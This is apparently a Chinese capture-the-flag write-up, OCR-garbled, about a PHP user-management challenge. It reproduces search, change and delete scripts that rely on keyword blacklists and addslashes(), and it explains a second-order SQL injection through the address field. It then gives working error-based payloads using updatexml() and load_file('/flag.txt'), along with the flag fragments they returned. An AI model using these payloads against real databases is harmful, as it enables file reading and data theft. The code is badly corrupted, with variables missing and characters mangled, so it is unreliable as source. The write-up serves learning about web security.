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"assets/js/retina-1.1.0.js"></ >
"assets/js/jquery.unveilEffects.js"></
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href="./search.php"
Fo BN ST 1
href="./change.php"
BEAEET
href="./delete.php"

form role="form" action="./confirm.php" method="post"
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index.php:

ini_set('open_basedir', '/var/www/html/");

// $file = $§_GET["file"];
(isset( ["file']) ['file'] : null);
if (isset( DR
if (preg_match("/phar|zip|bzip2|zlib|data|input|%e@/i", )) {
echo('no way!'");
exit;
)i
@include(




search.php

require_once "config.php";

if(!lempty( ["user_name"]) empty ( ["phone"]))
{

'/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load file|outfile/i';
["user_name"];
["phone™];
if (preg_match( s preg_match(
'no sql inject!’;
}else{

"select * from “user  where “user_name ='{

query( )E

if (isset( num_rows>0){
fetch_assoc();
if( ) {
echo 'error';
print_r( error);

exit;

"<p>EEA . ['user_name']."</p><p>, Hif:". ['phone']."</p><p>, Hitk:". ['address']."</p>
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change.php



require_once "config.php";

if(!lempty( ["user_name"]) empty ( ["address"]) empty (
{

["phone”]))

'/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load file|outfile/i';

["user_name"];
addslashes( ["address"]);
["phone];
if (preg_match( B preg_match(
'no sql inject!’;
}else{

"select * from “user’ where “user_name ='{

query ( )5

if (isset( num_rows>0){

fetch_assoc();

"update "user set "address = , 0ld_address’ =
['user_id'];
query( )
if( ) {
echo 'error';
print_r( error);

exit;
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delete.php

['address'].""' where “user_id =




require_once "config.php";

if(!lempty( ["user_name"]) empty (
{

'/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load file|outfile/i';

["user_name"];
["phone”];
if (preg_match( 5 preg_match(
'no sql inject!’';
telse{
"select * from “user’ where “user_name ='{ }' and “phone ="{

query ( )5

if (isset( num_rows>0){
fetch_assoc();
query('delete from “user’ where “user_id =" . "user_id"]);
if( ) {
echo 'error';
print_r( error);

exit;
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require_once "config.php";
/var_dump($_POST);

if(!lempty( ["user_name"]) empty ( ["address"]) empty ( ["phone"]))
{

'/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load file|outfile/i";
["user_name"];
["address"];
["phone"];
if (preg_match( 5 preg_match(
'no sql inject!’;
telse{

"select * from “user’ where “user _name ='{ }' and “phone ="{

query ( )E

num_rows>0) {
ERAITE"

"insert into “user” ( “user_name’, "address , “phone’) values( ?, ?, ?)";
prepare( );
bind_param("sss",
execute();
if( ) {
echo 'error';
print_r( error);

exit;
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XX LA TE 4T, T REKSQUIEARI Y, {BFE change.php THEIH, FFFEQT HI7T5E A :

["user_name"];
addslashes( ["address"]);
["phone”];
if (preg_match( 5 preg_match(
'no sql inject!’;
}else{
"select * from “user  where “user_name ='{ }' and " phone ="

query( )E

HPHENT =A% E: $user_name . $address . $phone
H AT guser_name « $phone T preg match() BALZ B, $address R T addslashes() 4b¥, addslashes() %R [H
FETE AR BT IR BT /6 .

£ $user_name F1 $phone #& AE)f5, $address MW AENEIERE, HEHMN Wpayload LI —IRIEN, R TESE —IKIE ST
fili & payload
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"update “user® set “address ='".$address."', “old address ='".$row[ 'address'].""' where “user_id =".$row['

echo 'error'
print_r

exit
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1' where user_id=updatexml(1,concat(@x7e, (select substr(load_file('/flag.txt'),1,30)),0x7e),1
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1' where user_id=updatexml(1,concat(ox7e,(select sul
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1' where user_id=updatexml(1,concat(ox7e,(select sul
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errorXPATH syntax error: '~flag{3e8bace8-90ef-45cb-9347-9~'
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1' where user_id=updatexml(1,concat(@x7e, (select substr(load file('/flag.txt'),30,60)),0x7e),1
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1' where user_id=updatexml(1,concat(ox7e (select sul
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errorXPATH syntax error: '~9a582a473fle} ~'
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